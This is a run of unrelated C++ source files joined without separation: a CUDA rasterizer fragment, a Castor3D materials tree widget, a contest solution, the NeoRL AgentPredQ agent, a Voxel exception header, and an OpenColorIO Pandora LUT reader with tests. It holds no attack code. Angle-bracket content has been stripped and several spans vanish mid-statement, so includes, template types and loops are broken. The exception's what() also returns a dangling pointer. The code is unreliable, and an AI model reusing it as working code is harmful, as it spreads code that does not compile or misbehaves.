max(SamplesLog2 - 1, 0)) + zbase - zdata.w; zkill = (zmin >= oldZMax && zmin < zmin + zdata.w * 2); CR_TIMER_OUT_DEP(FineZKill, zkill); } // determine sample coverage U32 sampleMask = 0; if ((RenderModeFlags & RenderModeFlag_EnableQuads) != 0 || !zkill) { CR_TIMER_IN(FineSampleCoverage); uint4 triHeader = tex1Dfetch(t_triHeader, dataIdx); if ((RenderModeFlags & RenderModeFlag_EnableDepth) != 0) { U32 zmin = triHeader.w & 0xFFFFF000; zkill = (zmin >= oldZMax); // can happen if zslope is very high } if (!zkill) sampleMask = triangleSampleCoverage(triHeader, pixelX, pixelY); CR_TIMER_OUT_DEP(FineSampleCoverage, sampleMask); } CR_COUNT(FineZKill, (zkill) ? 100 : 0, 1); CR_COUNT(FineMSAAKill, (sampleMask == 0 && !zkill) ? 100 : 0, 1); // execute shader and rop if ((RenderModeFlags & RenderModeFlag_EnableQuads) != 0 || sampleMask != 0) { // run fragment shader CR_COUNT(FineWarpUtil, 100, singleLane() ? 32 : 0); CR_TIMER_IN(FineShade); FragmentShaderClass fragShader; runFragmentShader( fragShader, triIdx, dataIdx, pixelX, pixelY, s_centroid_lut[sampleMask], &temp[16]); CR_TIMER_OUT(FineShade); // evaluate depth and execute ROP if (((RenderModeFlags & RenderModeFlag_EnableQuads) == 0 || (!zkill && sampleMask != 0)) && !fragShader.m_discard) { U32 newZMax = 0; int surfX = tileSurfX + ((pixelInTile & 7) << 2); for (int i = 0; i < (1 << SamplesLog2); i++) { newZMax = ::max(newZMax, executeROP_MultiSample( triIdx, pixelX, pixelY, i, surfX, ((sampleMask & (1 << i)) != 0), fragShader.m_color, zdata.x * c_msaaPatterns[SamplesLog2][i] + zdata.y * i + zbase, &temp[pixelInTile + 16], timerTotal)); surfX += 1 << (CR_TILE_LOG2 + 2); } if (newZMax < oldZMax) { CR_TIMER_IN(FineROPWrite); tileDepth[pixelInTile] = newZMax; CR_TIMER_OUT(FineROPWrite); if (oldZMax == tileZMax) tileZUpd = true; } } } } // update counters fragRead = ::min(fragRead + 32, fragWrite); triRead += __popc(boundaryMask); } CR_COUNT(FineFragPerTile, fragRead, 1); CR_COUNT(FineTriPerTile, 0, 1); } CR_TIMER_OUT(FineTotal); CR_TIMER_DEINIT(); } //------------------------------------------------------------------------ #include "GuiCommon/System/MaterialsList.hpp" #include "GuiCommon/System/ImagesLoader.hpp" #include "GuiCommon/Properties/PropertiesContainer.hpp" #include "GuiCommon/Properties/TreeItems/MaterialTreeItemProperty.hpp" #include "GuiCommon/Properties/TreeItems/PassTreeItemProperty.hpp" #include "GuiCommon/Properties/TreeItems/RenderTargetTreeItemProperty.hpp" #include "GuiCommon/Properties/TreeItems/TextureTreeItemProperty.hpp" #include #include #include #include #include #include #include #include #include #include "GuiCommon/xpms/material.xpm" #include "GuiCommon/xpms/material_sel.xpm" #include "GuiCommon/xpms/pass.xpm" #include "GuiCommon/xpms/pass_sel.xpm" #include "GuiCommon/xpms/texture.xpm" #include "GuiCommon/xpms/texture_sel.xpm" #ifdef LoadImage # undef LoadImage # define LoadImage wxBitmap::LoadImage #endif using namespace castor3d; using namespace castor; namespace GuiCommon { MaterialsList::MaterialsList( PropertiesContainer * propertiesHolder , wxWindow * parent , wxPoint const & pos , wxSize const & size ) : wxTreeCtrl( parent, wxID_ANY, pos, size, wxTR_DEFAULT_STYLE | wxTR_HIDE_ROOT | wxNO_BORDER ) , m_propertiesHolder( propertiesHolder ) { wxBusyCursor wait; ImagesLoader::addBitmap( eBMP_MATERIAL, material_xpm ); ImagesLoader::addBitmap( eBMP_MATERIAL_SEL, material_sel_xpm ); ImagesLoader::addBitmap( eBMP_PASS, pass_xpm ); ImagesLoader::addBitmap( eBMP_PASS_SEL, pass_sel_xpm ); ImagesLoader::addBitmap( eBMP_TEXTURE, texture_xpm ); ImagesLoader::addBitmap( eBMP_TEXTURE_SEL, texture_sel_xpm ); ImagesLoader::waitAsyncLoads(); wxImage * icons[] = { ImagesLoader::getBitmap( eBMP_MATERIAL ), ImagesLoader::getBitmap( eBMP_MATERIAL_SEL ), ImagesLoader::getBitmap( eBMP_PASS ), ImagesLoader::getBitmap( eBMP_PASS_SEL ), ImagesLoader::getBitmap( eBMP_TEXTURE ), ImagesLoader::getBitmap( eBMP_TEXTURE_SEL ), }; wxImageList * imageList = new wxImageList( GC_IMG_SIZE, GC_IMG_SIZE, true ); for ( auto image : icons ) { int sizeOrig = image->GetWidth(); if ( sizeOrig != GC_IMG_SIZE ) { image->Rescale( GC_IMG_SIZE, GC_IMG_SIZE, wxIMAGE_QUALITY_HIGHEST ); } imageList->Add( *image ); } AssignImageList( imageList ); } MaterialsList::~MaterialsList() { DeleteAllItems(); } void MaterialsList::loadMaterials( Engine * engine , Scene & scene ) { m_engine = engine; m_scene = &scene; wxTreeItemId root = AddRoot( _( "Root" ), eBMP_SCENE, eBMP_SCENE_SEL ); auto lock( castor::makeUniqueLock( m_engine->getMaterialCache() ) ); for ( auto & pair : m_engine->getMaterialCache() ) { addMaterial( this , *m_scene , m_propertiesHolder->isEditable() , root , pair.second.get() , eBMP_MATERIAL ); } } void MaterialsList::unloadMaterials() { DeleteAllItems(); m_scene = nullptr; } void MaterialsList::addMaterial( wxTreeCtrl * treeCtrl , castor3d::Scene & scene , bool editable , wxTreeItemId id , castor3d::MaterialRPtr material , uint32_t iconOffset ) { wxTreeItemId materialId = treeCtrl->AppendItem( id , material->getName() , int( eBMP_MATERIAL - iconOffset ) , int( eBMP_MATERIAL_SEL - iconOffset ) , new MaterialTreeItemProperty( editable, *material ) ); uint32_t passIndex = 0; for ( auto pass : *material ) { doAddPass( treeCtrl , scene , editable , materialId , ++passIndex , pass , iconOffset ); } } void MaterialsList::doAddPass( wxTreeCtrl * treeCtrl , castor3d::Scene & scene , bool editable , wxTreeItemId id , uint32_t index , castor3d::PassSPtr pass , uint32_t iconOffset ) { wxTreeItemId passId = treeCtrl->AppendItem( id , wxString( _( "Pass " ) ) << index , int( eBMP_PASS - iconOffset ) , int( eBMP_PASS_SEL - iconOffset ) , new PassTreeItemProperty( editable , pass , scene , treeCtrl ) ); uint32_t unitIndex = 0; for ( auto unit : *pass ) { doAddTexture( treeCtrl , editable , passId , ++unitIndex , *pass , unit , iconOffset ); } } void MaterialsList::doAddTexture( wxTreeCtrl * treeCtrl , bool editable , wxTreeItemId id , uint32_t index , castor3d::Pass & pass , castor3d::TextureUnitSPtr texture , uint32_t iconOffset ) { wxTreeItemId unitId = treeCtrl->AppendItem( id , wxString( _( "Texture Unit " ) ) << index , int( eBMP_TEXTURE - iconOffset ) , int( eBMP_TEXTURE_SEL - iconOffset ) , new TextureTreeItemProperty{ editable , pass , texture } ); RenderTargetSPtr target = texture->getRenderTarget(); if ( target ) { AppendRenderTarget( treeCtrl , editable , unitId , *target ); } } #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wzero-as-null-pointer-constant" BEGIN_EVENT_TABLE( MaterialsList, wxTreeCtrl ) EVT_CLOSE( MaterialsList::onClose ) EVT_TREE_SEL_CHANGED( wxID_ANY, MaterialsList::onSelectItem ) EVT_TREE_ITEM_RIGHT_CLICK( wxID_ANY, MaterialsList::onMouseRButtonUp ) END_EVENT_TABLE() #pragma GCC diagnostic pop void MaterialsList::onClose( wxCloseEvent & event ) { DeleteAllItems(); event.Skip(); } void MaterialsList::onSelectItem( wxTreeEvent & event ) { TreeItemProperty * data = static_cast< TreeItemProperty * >( event.GetClientObject() ); m_propertiesHolder->setPropertyData( data ); event.Skip(); } void MaterialsList::onMouseRButtonUp( wxTreeEvent & event ) { TreeItemProperty * data = static_cast< TreeItemProperty * >( event.GetClientObject() ); wxPoint position = wxGetMousePosition(); data->DisplayTreeItemMenu( this, position.x, position.y ); } } wdjpng/soi #include #define int long long using namespace std; const int m=1e9+7; int fast_pow(int b, int pow){ if(pow==0){return 1;} int res = fast_pow(b, pow/2); res=(res*res)%m; if(pow%2){res*=b;} return res%m; } vectorfac(1e5+1); int res(int n, int k){ if(abs(k)>n){return 0;} k=(k+n)/2; return (((fac[n] * fast_pow(fac[k], m-2))%m)*fast_pow(fac[n-k], m-2))%m; } int fast_chocolate(vectora, int n){ fac[0]=1; for (int i = 1;i <= 1e5; ++i) { fac[i]=fac[i-1]*i; fac[i]%=m; } int equals = 1; vectorlon(3); for (int i = 0; i < n; ++i) { if(a[1][i]==a[2][i]&&a[0][i]==a[1][i]){equals*=2; continue;} if(a[1][i]==a[2][i]){lon[0]++;} if(a[0][i]==a[2][i]){lon[1]++;} if(a[0][i]==a[1][i]){lon[2]++;} equals%=m; } if(lon[0]%2!=lon[1]%2||lon[0]%2!=lon[2]%2){ return 0; //cout << 0; //exit(0); } int count=0; for (int k = -n/3; k <= n/3; k+=2) { int tmpRes=1; for (int i = 0; i < 3; ++i) { tmpRes*=res(lon[i], k); tmpRes%=m; } count+=tmpRes; count%=m; } return (count*equals)%m; } int bruteforce(string a, string b, string c){ vectords; int count = 0; for (int i = 0; i < 1e8; ++i) { int curI=i; string d=""; int pow=1; while (curI){ if(curI%(2*pow)||pow==curI){ d='1'+d; curI-=pow; } else{ d='0'+d; } pow*=2; } if(d.size()>a.size()){ break;} while (d.size()> n; vectora(3); for (int i = 0; i < 3; ++i) { cin >> a[i]; } cout << /*bruteforce(a[0],a[1], a[2]) << "\n" << */ fast_chocolate(a,n); /* for (int i = 0; i < pow(2, 8); ++i) { for (int j = 0; j < pow(2,8); ++j) { for (int k = 0; k <= pow(2,8); ++k) { vectorc={i,j,k}; vectora(3, "000000"); for (int x = 0; x < 3; ++x) { for (int y = 0; y < 8; ++y) { if((c[x]>>y)&1){ a[x][y]='1'; } } } if(bruteforce(a[0], a[1], a[2])!=fast_chocolate(a,a[0].size())){ cout << a[0] << "\n" << a[1] << "\n"<< a[2]<<"\n\n\n"; } } } }*/ }NeoRL/source/neo/AgentPredQ.cpp #include "AgentPredQ.h" #include using namespace neo; void AgentPredQ::createRandom(sys::ComputeSystem &cs, sys::ComputeProgram &program, cl_int2 inputSize, cl_int2 actionSize, cl_int2 qSize, const std::vector &layerDescs, cl_float2 initWeightRange, std::mt19937 &rng) { _inputSize = inputSize; _actionSize = actionSize; _qSize = qSize; _layerDescs = layerDescs; _layers.resize(_layerDescs.size()); cl_int2 prevLayerSize = inputSize; for (int l = 0; l < _layers.size(); l++) { std::vector spDescs; if (l == 0) { spDescs.resize(4); spDescs[0]._size = prevLayerSize; spDescs[0]._encodeRadius = _layerDescs[l]._feedForwardRadius; spDescs[0]._predDecodeRadius = _layerDescs[l]._predictiveRadius; spDescs[0]._feedBackDecodeRadius = _layerDescs[l]._feedBackRadius; spDescs[0]._predictThresholded = false; spDescs[0]._predict = false; spDescs[0]._useForInput = true; spDescs[0]._ignoreMiddle = false; spDescs[1]._size = _layerDescs[l]._size; spDescs[1]._encodeRadius = _layerDescs[l]._recurrentRadius; spDescs[1]._predDecodeRadius = _layerDescs[l]._predictiveRadius; spDescs[1]._feedBackDecodeRadius = _layerDescs[l]._feedBackRadius; spDescs[1]._predictThresholded = true; spDescs[1]._predict = false; spDescs[1]._useForInput = true; spDescs[1]._ignoreMiddle = true; spDescs[2]._size = _actionSize; spDescs[2]._encodeRadius = _layerDescs[l]._feedForwardRadius; spDescs[2]._predDecodeRadius = _layerDescs[l]._predictiveRadius; spDescs[2]._feedBackDecodeRadius = _layerDescs[l]._feedBackRadius; spDescs[2]._predictThresholded = false; spDescs[2]._predict = true; spDescs[2]._useForInput = true; spDescs[2]._ignoreMiddle = false; spDescs[3]._size = _qSize; spDescs[3]._encodeRadius = _layerDescs[l]._feedForwardRadius; spDescs[3]._predDecodeRadius = _layerDescs[l]._predictiveRadius; spDescs[3]._feedBackDecodeRadius = _layerDescs[l]._feedBackRadius; spDescs[3]._predictThresholded = false; spDescs[3]._predict = true; spDescs[3]._useForInput = false; spDescs[3]._ignoreMiddle = false; } else { spDescs.resize(2); spDescs[0]._size = prevLayerSize; spDescs[0]._encodeRadius = _layerDescs[l]._feedForwardRadius; spDescs[0]._predDecodeRadius = _layerDescs[l]._predictiveRadius; spDescs[0]._feedBackDecodeRadius = _layerDescs[l]._feedBackRadius; spDescs[0]._predictThresholded = true; spDescs[0]._predict = true; spDescs[0]._useForInput = true; spDescs[0]._ignoreMiddle = false; spDescs[1]._size = _layerDescs[l]._size; spDescs[1]._encodeRadius = _layerDescs[l]._recurrentRadius; spDescs[1]._predDecodeRadius = _layerDescs[l]._predictiveRadius; spDescs[1]._feedBackDecodeRadius = _layerDescs[l]._feedBackRadius; spDescs[1]._predictThresholded = true; spDescs[1]._predict = false; spDescs[1]._useForInput = true; spDescs[1]._ignoreMiddle = true; } std::vector feedBackSizes; if (l < _layers.size() - 1) { feedBackSizes.resize(4); feedBackSizes[0] = feedBackSizes[1] = feedBackSizes[2] = feedBackSizes[3] = _layerDescs[l]._size; } else { if (l == 0) { feedBackSizes.resize(4); feedBackSizes[0] = feedBackSizes[1] = feedBackSizes[2] = feedBackSizes[3] = { 1, 1 }; } else { feedBackSizes.resize(2); feedBackSizes[0] = feedBackSizes[1] = { 1, 1 }; } } _layers[l]._sp.createRandom(cs, program, spDescs, _layerDescs[l]._size, feedBackSizes, _layerDescs[l]._lateralRadius, initWeightRange, rng); _layers[l]._additionalErrors = cl::Image2D(cs.getContext(), CL_MEM_READ_WRITE, cl::ImageFormat(CL_R, CL_FLOAT), prevLayerSize.x, prevLayerSize.y); cs.getQueue().enqueueFillImage(_layers[l]._additionalErrors, cl_float4{ 0.0f, 0.0f, 0.0f, 0.0f }, { 0, 0, 0 }, { static_cast(prevLayerSize.x), static_cast(prevLayerSize.y), 1 }); prevLayerSize = _layerDescs[l]._size; } _qInputLayer = cl::Image2D(cs.getContext(), CL_MEM_READ_WRITE, cl::ImageFormat(CL_R, CL_FLOAT), _qSize.x, _qSize.y); _qRetrievalLayer = cl::Image2D(cs.getContext(), CL_MEM_READ_WRITE, cl::ImageFormat(CL_R, CL_FLOAT), _qSize.x, _qSize.y); // Create a random Q transform _qTransforms = cl::Image2D(cs.getContext(), CL_MEM_READ_WRITE, cl::ImageFormat(CL_R, CL_FLOAT), _qSize.x, _qSize.y); cl::Kernel randomUniformXYKernel = cl::Kernel(program.getProgram(), "randomUniform2DXY"); randomUniformXY(_qTransforms, cs, randomUniformXYKernel, _qSize, { -1.0f, 1.0f }, rng); _inputWhitener.create(cs, program, _inputSize, CL_R, CL_FLOAT); _zeroLayer = cl::Image2D(cs.getContext(), CL_MEM_READ_WRITE, cl::ImageFormat(CL_R, CL_FLOAT), 1, 1); cs.getQueue().enqueueFillImage(_zeroLayer, cl_float4{ 0.0f, 0.0f, 0.0f, 0.0f }, { 0, 0, 0 }, { 1, 1, 1 }); _setQKernel = cl::Kernel(program.getProgram(), "pqSetQ"); _getQKernel = cl::Kernel(program.getProgram(), "pqGetQ"); } void AgentPredQ::simStep(sys::ComputeSystem &cs, float reward, const cl::Image2D &input, const cl::Image2D &actionTaken, bool learn, bool whiten) { // Whiten input if (whiten) _inputWhitener.filter(cs, input, _whiteningKernelRadius, _whiteningIntensity); // Feed forward cl::Image2D prevLayerState = whiten ? _inputWhitener.getResult() : input; for (int l = 0; l < _layers.size(); l++) { std::vector visibleStates; if (l == 0) { visibleStates.resize(4); visibleStates[0] = prevLayerState; visibleStates[1] = _layers[l]._sp.getHiddenStates()[_back]; visibleStates[2] = actionTaken; visibleStates[3] = _qInputLayer; // Unused as input } else { visibleStates.resize(2); visibleStates[0] = prevLayerState; visibleStates[1] = _layers[l]._sp.getHiddenStates()[_back]; } _layers[l]._sp.activateEncoder(cs, visibleStates, _layerDescs[l]._spActiveRatio); prevLayerState = _layers[l]._sp.getHiddenStates()[_front]; } // Feed back for (int l = _layers.size() - 1; l >= 0; l--) { std::vector feedBackStates; if (l < _layers.size() - 1) { if (l == 0) { feedBackStates.resize(4); feedBackStates[0] = feedBackStates[1] = feedBackStates[2] = feedBackStates[3] = _layers[l + 1]._sp.getVisibleLayer(0)._predictions[_back]; } else { feedBackStates.resize(2); feedBackStates[0] = feedBackStates[1] = _layers[l + 1]._sp.getVisibleLayer(0)._predictions[_back]; } } else { if (l == 0) { feedBackStates.resize(4); feedBackStates[0] = feedBackStates[1] = feedBackStates[2] = feedBackStates[3] = _zeroLayer; } else { feedBackStates.resize(2); feedBackStates[0] = feedBackStates[1] = _zeroLayer; } } _layers[l]._sp.activateDecoder(cs, feedBackStates); } // Un-transform Q { int argIndex = 0; _getQKernel.setArg(argIndex++, _layers.front()._sp.getVisibleLayer(3)._predictions[_back]); _getQKernel.setArg(argIndex++, _qTransforms); _getQKernel.setArg(argIndex++, _qRetrievalLayer); cs.getQueue().enqueueNDRangeKernel(_getQKernel, cl::NullRange, cl::NDRange(_qSize.x, _qSize.y)); } // Retrieve Q std::vector qRetrieve(_qSize.x * _qSize.y); cs.getQueue().enqueueReadImage(_qRetrievalLayer, CL_TRUE, { 0, 0, 0 }, { static_cast(_qSize.x), static_cast(_qSize.y), 1 }, 0, 0, qRetrieve.data()); float q = 0.0f; for (int i = 0; i < qRetrieve.size(); i++) q += qRetrieve[i]; q /= qRetrieve.size(); float tdError = reward + _qGamma * q - _prevValue; float newQ = _prevValue + _qAlpha * tdError; _prevValue = q; std::cout << "Q: " << q << " " << tdError << std::endl; // Encode target Q { int argIndex = 0; _setQKernel.setArg(argIndex++, _qTransforms); _setQKernel.setArg(argIndex++, _qInputLayer); _setQKernel.setArg(argIndex++, newQ); cs.getQueue().enqueueNDRangeKernel(_setQKernel, cl::NullRange, cl::NDRange(_qSize.x, _qSize.y)); } if (learn) { // Feed forward prevLayerState = input; for (int l = 0; l < _layers.size(); l++) { // Encoder std::vector visibleStates; if (l == 0) { visibleStates.resize(4); visibleStates[0] = prevLayerState; visibleStates[1] = _layers[l]._sp.getHiddenStates()[_front]; visibleStates[2] = tdError > 0.0f ? actionTaken : _layers[l]._sp.getVisibleLayer(2)._predictions[_front]; visibleStates[3] = _qInputLayer; } else { visibleStates.resize(2); visibleStates[0] = prevLayerState; visibleStates[1] = _layers[l]._sp.getHiddenStates()[_front]; } std::vector feedBackStatesPrev; if (l < _layers.size() - 1) { if (l == 0) { feedBackStatesPrev.resize(4); feedBackStatesPrev[0] = feedBackStatesPrev[1] = feedBackStatesPrev[2] = feedBackStatesPrev[3] = _layers[l + 1]._sp.getVisibleLayer(0)._predictions[_front]; } else { feedBackStatesPrev.resize(2); feedBackStatesPrev[0] = feedBackStatesPrev[1] = _layers[l + 1]._sp.getVisibleLayer(0)._predictions[_front]; } } else { if (l == 0) { feedBackStatesPrev.resize(4); feedBackStatesPrev[0] = feedBackStatesPrev[1] = feedBackStatesPrev[2] = feedBackStatesPrev[3] = _zeroLayer; } else { feedBackStatesPrev.resize(2); feedBackStatesPrev[0] = feedBackStatesPrev[1] = _zeroLayer; } } _layers[l]._sp.learn(cs, visibleStates, feedBackStatesPrev, l == 0 ? std::vector{ _layers[l]._additionalErrors, _layers[l]._additionalErrors, _layers[l]._additionalErrors, _layers[l]._additionalErrors } : std::vector{ _layers[l]._additionalErrors, _layers[l]._additionalErrors }, _layerDescs[l]._spWeightEncodeAlpha, _layerDescs[l]._spWeightDecodeAlpha, _layerDescs[l]._spWeightLambda, _layerDescs[l]._spBiasAlpha, _layerDescs[l]._spActiveRatio); prevLayerState = _layers[l]._sp.getHiddenStates()[_back]; } } }//==--- Voxel/Heterogeneous/HetroException.hpp ---------------- -*- C++ -*- ---==// // // Voxel // // Copyright (c) 2017 // // This file is distributed under the MIT License. See LICENSE for details. // //==------------------------------------------------------------------------==// // /// \file HeteroException.hpp /// \brief This file defines a class for heterogeneous exceptions. // //==------------------------------------------------------------------------==// #pragma once #include #include namespace Voxx { /// This namespace containts heterogeneous functionality. namespace Hetero { /// The HeteroException class overrides the standard exception class to define /// heterogeneous related exceptions. class HeteroException : public std::exception { public: /// The Type enum defines the types of heterogeneous related exceptions. enum class Type : uint8_t { Realloc = 0x00, //!< Reallocation of non null pointer. InvalidCopy = 0x01 }; /// Constructor -- initializes the type of the heterogeneous error. /// \param[in] type The type of the heterogeneous error. HeteroException(Type type) noexcept : ErrorType(type) {} /// Displays a message for the exception. virtual const char* what() const noexcept override { const std::string msg = std::string("\nHeterogeneous Exception:\n\t") + message(); return msg.c_str(); } private: Type ErrorType; //!< The type of the thread exception. /// Returns char string pointer with an appropriate message for the type of /// the error. const char* message() const noexcept; }; }} // namespace Voxx::Hetero /* Copyright (c) 2003-2010 Sony Pictures Imageworks Inc., et al. All Rights Reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sony Pictures Imageworks nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include #include #include #include #include "ops/Lut1D/Lut1DOp.h" #include "ops/Lut3D/Lut3DOp.h" #include "ParseUtils.h" #include "pystring/pystring.h" #include "transforms/FileTransform.h" OCIO_NAMESPACE_ENTER { namespace { class LocalCachedFile : public CachedFile { public: LocalCachedFile () { lut3D = Lut3D::Create(); }; ~LocalCachedFile() {}; // TODO: Switch to the OpData class. Lut3DRcPtr lut3D; }; typedef OCIO_SHARED_PTR LocalCachedFileRcPtr; class LocalFileFormat : public FileFormat { public: ~LocalFileFormat() {}; virtual void GetFormatInfo(FormatInfoVec & formatInfoVec) const; virtual CachedFileRcPtr Read( std::istream & istream, const std::string & fileName) const; virtual void BuildFileOps(OpRcPtrVec & ops, const Config& config, const ConstContextRcPtr & context, CachedFileRcPtr untypedCachedFile, const FileTransform& fileTransform, TransformDirection dir) const; private: static void ThrowErrorMessage(const std::string & error, const std::string & fileName, int line, const std::string & lineContent); }; void LocalFileFormat::ThrowErrorMessage(const std::string & error, const std::string & fileName, int line, const std::string & lineContent) { std::ostringstream os; os << "Error parsing Pandora LUT file ("; os << fileName; os << "). "; if (-1 != line) { os << "At line (" << line << "): '"; os << lineContent << "'. "; } os << error; throw Exception(os.str().c_str()); } void LocalFileFormat::GetFormatInfo(FormatInfoVec & formatInfoVec) const { FormatInfo info; info.name = "pandora_mga"; info.extension = "mga"; info.capabilities = FORMAT_CAPABILITY_READ; formatInfoVec.push_back(info); FormatInfo info2; info2.name = "pandora_m3d"; info2.extension = "m3d"; info2.capabilities = FORMAT_CAPABILITY_READ; formatInfoVec.push_back(info2); } CachedFileRcPtr LocalFileFormat::Read( std::istream & istream, const std::string & fileName) const { // this shouldn't happen if(!istream) { throw Exception ("File stream empty when trying " "to read Pandora LUT"); } // Validate the file type std::string line; // Parse the file std::string format; int lutEdgeLen = 0; int outputBitDepthMaxValue = 0; std::vector raw3d; { std::vector parts; std::vector tmpints; bool inLut3d = false; int lineNumber = 0; while(nextline(istream, line)) { ++lineNumber; // Strip, lowercase, and split the line pystring::split(pystring::lower(pystring::strip(line)), parts); if(parts.empty()) continue; // Skip all lines starting with '#' if(pystring::startswith(parts[0],"#")) continue; if(parts[0] == "channel") { if(parts.size() != 2 || pystring::lower(parts[1]) != "3d") { ThrowErrorMessage( "Only 3D LUTs are currently supported " "(channel: 3d).", fileName, lineNumber, line); } } else if(parts[0] == "in") { int inval = 0; if(parts.size() != 2 || !StringToInt( &inval, parts[1].c_str())) { ThrowErrorMessage( "Malformed 'in' tag.", fileName, lineNumber, line); } raw3d.reserve(inval*3); lutEdgeLen = Get3DLutEdgeLenFromNumPixels(inval); } else if(parts[0] == "out") { if(parts.size() != 2 || !StringToInt(&outputBitDepthMaxValue, parts[1].c_str())) { ThrowErrorMessage( "Malformed 'out' tag.", fileName, lineNumber, line); } } else if(parts[0] == "format") { if(parts.size() != 2 || pystring::lower(parts[1]) != "lut") { ThrowErrorMessage( "Only LUTs are currently supported " "(format: lut).", fileName, lineNumber, line); } } else if(parts[0] == "values") { if(parts.size() != 4 || pystring::lower(parts[1]) != "red" || pystring::lower(parts[2]) != "green" || pystring::lower(parts[3]) != "blue") { ThrowErrorMessage( "Only rgb LUTs are currently supported " "(values: red green blue).", fileName, lineNumber, line); } inLut3d = true; } else if(inLut3d) { if(!StringVecToIntVec(tmpints, parts) || tmpints.size() != 4) { ThrowErrorMessage( "Expected to find 4 integers.", fileName, lineNumber, line); } raw3d.push_back(tmpints[1]); raw3d.push_back(tmpints[2]); raw3d.push_back(tmpints[3]); } } } // Interpret the parsed data, validate LUT sizes if(lutEdgeLen*lutEdgeLen*lutEdgeLen != static_cast(raw3d.size()/3)) { std::ostringstream os; os << "Incorrect number of 3D LUT entries. "; os << "Found " << raw3d.size() / 3 << ", expected "; os << lutEdgeLen*lutEdgeLen*lutEdgeLen << "."; ThrowErrorMessage( os.str().c_str(), fileName, -1, ""); } if(lutEdgeLen*lutEdgeLen*lutEdgeLen == 0) { ThrowErrorMessage( "No 3D LUT entries found.", fileName, -1, ""); } if(outputBitDepthMaxValue <= 0) { ThrowErrorMessage( "A valid 'out' tag was not found.", fileName, -1, ""); } LocalCachedFileRcPtr cachedFile = LocalCachedFileRcPtr(new LocalCachedFile()); // Reformat 3D data cachedFile->lut3D->size[0] = lutEdgeLen; cachedFile->lut3D->size[1] = lutEdgeLen; cachedFile->lut3D->size[2] = lutEdgeLen; cachedFile->lut3D->lut.reserve(raw3d.size()); float scale = 1.0f / ((float)outputBitDepthMaxValue - 1.0f); // lut3D->lut is red fastest (loop on B, G then R to push values) for (int bIndex = 0; bIndexlut3D->lut.push_back(static_cast(raw3d[i+0]) * scale); cachedFile->lut3D->lut.push_back(static_cast(raw3d[i+1]) * scale); cachedFile->lut3D->lut.push_back(static_cast(raw3d[i+2]) * scale); } } } return cachedFile; } void LocalFileFormat::BuildFileOps(OpRcPtrVec & ops, const Config& /*config*/, const ConstContextRcPtr & /*context*/, CachedFileRcPtr untypedCachedFile, const FileTransform& fileTransform, TransformDirection dir) const { LocalCachedFileRcPtr cachedFile = DynamicPtrCast(untypedCachedFile); // This should never happen. if(!cachedFile) { std::ostringstream os; os << "Cannot build Pandora LUT. Invalid cache type."; throw Exception(os.str().c_str()); } TransformDirection newDir = CombineTransformDirections(dir, fileTransform.getDirection()); if(newDir == TRANSFORM_DIR_UNKNOWN) { std::ostringstream os; os << "Cannot build file format transform,"; os << " unspecified transform direction."; throw Exception(os.str().c_str()); } if(newDir == TRANSFORM_DIR_FORWARD) { CreateLut3DOp(ops, cachedFile->lut3D, fileTransform.getInterpolation(), newDir); } else if(newDir == TRANSFORM_DIR_INVERSE) { CreateLut3DOp(ops, cachedFile->lut3D, fileTransform.getInterpolation(), newDir); } } } FileFormat * CreateFileFormatPandora() { return new LocalFileFormat(); } } OCIO_NAMESPACE_EXIT #ifdef OCIO_UNIT_TEST namespace OCIO = OCIO_NAMESPACE; #include "unittest.h" #include OIIO_ADD_TEST(FileFormatPandora, FormatInfo) { OCIO::FormatInfoVec formatInfoVec; OCIO::LocalFileFormat tester; tester.GetFormatInfo(formatInfoVec); OIIO_CHECK_EQUAL(2, formatInfoVec.size()); OIIO_CHECK_EQUAL("pandora_mga", formatInfoVec[0].name); OIIO_CHECK_EQUAL("mga", formatInfoVec[0].extension); OIIO_CHECK_EQUAL(OCIO::FORMAT_CAPABILITY_READ, formatInfoVec[0].capabilities); OIIO_CHECK_EQUAL("pandora_m3d", formatInfoVec[1].name); OIIO_CHECK_EQUAL("m3d", formatInfoVec[1].extension); OIIO_CHECK_EQUAL(OCIO::FORMAT_CAPABILITY_READ, formatInfoVec[1].capabilities); } void ReadPandora(const std::string & fileContent) { std::istringstream is; is.str(fileContent); // Read file OCIO::LocalFileFormat tester; const std::string SAMPLE_NAME("Memory File"); OCIO::CachedFileRcPtr cachedFile = tester.Read(is, SAMPLE_NAME); } OIIO_ADD_TEST(FileFormatPandora, ReadFailure) { { // Validate stream can be read with no error. // Then stream will be altered to introduce errors. const std::string SAMPLE_NO_ERROR = "channel 3d\n" "in 8\n" "out 256\n" "format lut\n" "values red green blue\n" "0 0 0 0\n" "1 0 0 255\n" "2 0 255 0\n" "3 0 255 255\n" "4 255 0 0\n" "5 255 0 255\n" "6 255 255 0\n" "7 255 255 255\n"; OIIO_CHECK_NO_THROW(ReadPandora(SAMPLE_NO_ERROR)); } { // Wrong channel tag const std::string SAMPLE_ERROR = "channel 2d\n" "in 8\n" "out 256\n" "format lut\n" "values red green blue\n" "0 0 0 0\n" "1 0 0 255\n" "2 0 255 0\n" "3 0 255 255\n" "4 255 0 0\n" "5 255 0 255\n" "6 255 255 0\n" "7 255 255 255\n"; 